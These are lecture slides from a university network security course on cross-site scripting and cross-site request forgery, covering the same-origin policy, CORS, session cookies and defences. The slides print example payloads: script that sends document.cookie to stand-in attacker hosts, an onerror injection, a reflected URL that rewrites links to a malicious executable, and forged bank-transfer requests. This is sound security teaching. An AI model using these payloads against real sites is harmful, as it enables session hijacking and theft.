EECS 354Network Security

Cross Site Scripting (XSS)

Web Application Design

Modern web pages are complexServer side

Web servers, backend code, databases

Client sideWeb browsers parse HTML, execute Javascript

Rich content: Java applets, Flash objects

Web Application Security

Server side attacksAttacking the host server to steal data, even root a box

SQL injection to read arbitrary database information

Shell attacks, direct object reference, directory traversal, and more

Client side attacks

Web Application Security

Server side attacks

Client side attacksExploiting users’ trust in their browser

Javascript attacks on other clients

Cross-Site Scripting (XSS)

Cross-Site Request Forgery (CSRF)

Browser Basics

Document Object Model (DOM)An interface to access HTML elements dynamically

Commonly referenced in Javascript

Very powerfulReadable and writable

Document Object Model

Document Object ModelA few common tools:

document.GetElementsBy*Returns list of elements with a particular property

document.cookieRead cookies associated with current document

window.locationRead/write document location

<element>.innerHTMLRead/write an element’s HTML content

Same Origin Policy

Working with iframesA parent window can get a reference to a frame’s document

var x = document.getElementById("myframe");

var y = x.contentDocument;

document.write(y.cookie);

How is this safe for something like <iframe src=“http://www.twitter.com”>?

Demo

Same Origin Policy

• The Same Origin Policy (SOP) protects against certain Javascript attacks

• Servers can’t read DOM objects across domains• Must share scheme, hostname, and port

• Example: http://www.example.com• http://www.example.com/dir/page.html -

Success

• http://www.attacker.com/dir/page.html - Failure

Same Origin Policy

• Prevents an attack like the following:

• User visits example.com and starts a session

• User visits malicious.com

• malicious.com creates an invisible iframe for example.com

• malicious.com can access document.cookie and HTML content of example.com without the user’s permission

Cross Origin Resource Sharing (CORS)

• Cross Origin Resource Sharing is an explicit exception to the Same Origin Policy

• Allows DOM access across domains through explicit header

• For example, logging into Gmail can also log into the embedded Google Chat

• Implemented through header

• Access-Control-Allow-Origin: http://mail.google.com

XSS Basics

Session Stealing

Advanced XSS Injection

Preventing XSS

CSRF

Introduction

ExampleA message board has a XSS vulnerability in the message posting

A hacker posts a message that contains malicious Javascript code to send passwords to a server

When a user visits an exploited page, that user’s password is sent to the hacker

The Vulnerability

Pages that are susceptible to XSS attacks often allow users to add content to the page

Simple attack vectors: webblog comments, message board posting, adding to a wiki

Add the following content

<script type="text/javascript">

alert('vulnerable');

</script>

The VulnerabilityJavascript can be extremely dangerous

Access to cookies, HTML, and all of the DOM

Allows privacy leakage or cookie stealing

Redirect to arbitrary pages, cache poisoning for persistence

Browsers are not always secureJavascript attacks can lead to full remote code execution through browser vulnerabilities

What to do

Pages that are vulnerable aren’t helpful unless there’s valuable information to retrieve

The most common and easy to steal information is the user’s cookie

With a stolen cookie, you’ll often be able to log in as the user using their session

XSS Basics

Session Stealing

Advanced XSS Injection

Preventing XSS

CSRF

Cookies

A cookie is data stored on the client that is persistent through requests

You log in to access your email (http://u.northwestern.edu/)

The server validates your user name and password then sets a cookie

Your browser will send this cookie with subsequent requests to automatically validate your credentials

Sessions

Sessions allow websites to retain information about a user

Session cookies are stored on the client side

Contains a unique hash which on the server side refers to a specific account

Session cookies should have a short expiration to mitigate attacks

Stealing Cookies

Use the DOM

<script type="text/javascript">

document.location='http://myserver/savecookie/?cookie='+document.cookie;

</script>

The browser is redirected to another server that saves the cookie

This is very obvious to the user

Stealing CookiesHow to steal info without user knowing

Simple to do with XMLHttpRequest

var req = new XMLHttpRequest();

req.open('GET', 'http://www.example.com/?cookie=‘ + document.cookie, false);

req.send();

req.responseText; // the response

XMLHttpRequests are also subject to SOP

Restricts reading the response for a cross domain request

Stealing Cookies

How to steal info without user knowingOr, an image tag:

<script>

document.write(“<img src=\”http://evil.example.org/steal.php?cookie=\” + encodeURI(document.cookie); />”)

</script>

XSS Basics

Session Stealing

Advanced XSS Injection

Preventing XSS

CSRF

Attack Vectors

Browsers have extremely complicated ways of parsing and rendering a webpage

Makes the process open to security holes

A standard XSS attack will simply inject script tags into the page

There are several more advanced schemes

Stored vs Reflected

Stored (Persistent)Attack stored on server

Becomes part of the website content

Affects all who visit the webpage

Like a forum post

Reflected (Non-persistent)Attack not stored on server

A GET parameter used to render the page

Only affects users who use an malicious URL

Attack Vectors

OnLoad, OnError, etc<img src="http://url.to.file.which/not.exist"

onerror=alert(document.cookie);>

GET parametershttp://example.com/index.php?

user=<script>alert(%22123%22)</script>

And a more malicious example... http://example.com/index.php?user=<script>window.onload =

function() {var AllLinks=document.getElementsByTagName("a"); AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script>

XSS Basics

Session Stealing

Advanced XSS Injection

Preventing XSS

CSRF

Protecting against XSS

Firewalls ineffectivePorts 80 and 443 must be open

Sanitize user inputDo not allow <script></script> tagsDo not allow tags with Javascript attributes

Design sessions wellPassword should not be recoverable from cookies

Encoding JavascriptHTML Entity Encoding

< to &lt;> to &gt;“ to &quot;Used for embedding special HTML characters as text in the pageRendered safely by the browser

HTML Attribute EncodingReplaces characters that are not valid inside HTML attributesSpecifically, '&', '<', and '”' are encoded

XSS Basics

Session Stealing

Advanced XSS Injection

Preventing XSS

CSRF

Cross Site Request Forgery

Websites use URLs to specify requests for an action

Example<img src="http://bank.example/withdraw?account=bob

&amount=1000000&for=mallory">

This image will cause any visitor to make a request to the image source server

If bob has his cookie set, visiting a page with this image will allow his account to authenticate and execute the transaction

CSRF Requirements

A CSRF vulnerability requires: No check of referrer header

Form submission with side-effects (the transaction)

All necessary form inputs must be known

Victim must have an active session with vulnerable site (session cookie)

This situation is common in practice

CSRF(POST)In reality, no one is going to use HTTP GET for this type of request

Risk still exists with HTTP POST

User must visit a malicious webpageMalicious site executes CSRF attack on client data at vulnerable site

Exploit does not require user inputCan use onload() attribute to execute without user permission

<form action=“http://bank.example/submit” type= “post”>Name: <input type=“text” name=“trash” /><input type=“hidden” value=”me” name=“to-account” /><input type=“hidden” value=”victim” name=“from-account” /><input type=“hidden” value=”1000” name=“amount” /></form>

CSRF Tokens

Need a CSRF TokenRandom nonce (‘number used only once’) that is unpredictable to users

CSRF tokens need to be linked with sessions

User-specific, only known to that user

XSS defeats CSRF tokens and other CSRF protections

Backup Slides

Browser Plugins

• Java, Flash player, Quicktime, ActiveX

• Frequently targeted for attacks

• Plugins extend the functionality of the web browser

• Compromise of a plugin is effectively a compromise of the browser, allowing remote code execution• Sandboxing can prevent this when

implemented effectively